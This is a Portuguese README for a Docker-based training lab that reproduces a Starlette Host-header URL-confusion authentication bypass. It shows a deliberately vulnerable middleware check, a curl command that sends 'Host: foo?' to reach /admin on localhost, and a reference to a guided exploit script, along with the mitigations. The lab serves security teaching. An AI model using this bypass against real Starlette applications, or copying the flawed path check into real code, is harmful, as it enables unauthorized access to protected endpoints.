
Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710
Um laboratório de treinamento auto-contido e containerizado que reproduz a vulnerabilidade de bypass de autenticação do Starlette divulgada pela X41 D-Sec.
>= 0.8.3, < 1.0.1 (laboratório fixa em 0.37.2)1.0.1⚠️ Apenas para treinamento de segurança autorizado. Este aplicativo é deliberadamente vulnerável. Não o implante em nenhuma rede acessível.
O Starlette despacha uma requisição para uma rota usando o scope["path"] bruto do ASGI, mas reconstrói a request.url formatando o cabeçalho Host fornecido pelo cliente em "{scheme}://{host}{path}" — sem validar o cabeçalho Host conforme RFC 9112 §3.2. Como metacaracteres de URL (?, /, #) são permitidos diretamente, um atacante pode fazer o caminho reconstruído diferir do caminho roteado. Qualquer verificação de segurança escrita contra request.url.path pode ser enganada enquanto o roteador ainda alcança o manipulador protegido.
O middleware vulnerável permite a requisição apenas quando request.url.path é / ou vazio:
if request.url.path in ("/", ""):
return await call_next(request) # permitido
return PlainTextResponse("Forbidden", status_code=403)
Envie Host: foo? contra GET /admin:
| Componente | Valor usado |
|---|---|
Roteador (scope["path"]) |
O ? transforma tudo depois dele em string de consulta, então o caminho analisado é vazio. A autenticação vê um caminho vazio e libera; o roteador ainda serve /admin. Bypass alcançado.
Requer Docker + Docker Compose.
docker compose up --build
Dois serviços iniciam:
| Serviço | URL | Comportamento |
|---|---|---|
vulnerable | http://localhost:8000 | bypassável |
fixed | http://localhost:8001 | mitigado (duas formas) |
# Bloqueado normalmente:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass via injeção de cabeçalho Host:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
Ou execute o script PoC guiado:
./exploit/exploit.sh # ataca :8000 (sucesso)
./exploit/exploit.sh 8001 # ataca :8001 (falha — corrigido)
O manipulador vulnerável /admin retorna um corpo JSON que torna a confusão visível — note como scope_path e reconstructed_path discordam:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
Veja fixed/fixed_app.py. Duas mitigações independentes:
request.scope["path"] — o mesmo caminho bruto que o roteador usa — em vez do
reconstruído request.url.path.TrustedHostMiddleware rejeita cabeçalhos Host
inesperados/malformados antes de qualquer lógica de aplicação ser executada,
espelhando o que um proxy reverso compatível com RFC (nginx/Apache) faz a montante.A correção no mundo real é simplesmente atualizar para Starlette ≥ 1.0.1, que valida o cabeçalho Host durante a reconstrução da URL.
redirect_uri, chaves de cache,
links de redefinição de senha construídos a partir de Host.)/admin) é mais frágil aqui do que "decidir com base no
endpoint roteado"? E se o roteamento não diferenciar maiúsculas de minúsculas ou tiver
redirecionamentos com barra final?0.0.0.0.)starlette-host-header-lab/
├── app/vulnerable_app.py # serviço deliberadamente vulnerável
├── fixed/fixed_app.py # serviço mitigado para comparação
├── exploit/exploit.sh # prova de conceito guiada
├── requirements.txt # fixa Starlette 0.37.2 (vulnerável)
├── Dockerfile
├── docker-compose.yml
└── README.md
/admin → despacha admin() |
request.url | http://foo?/admin |
request.url.path | "" → passa na verificação de autenticação ✅ |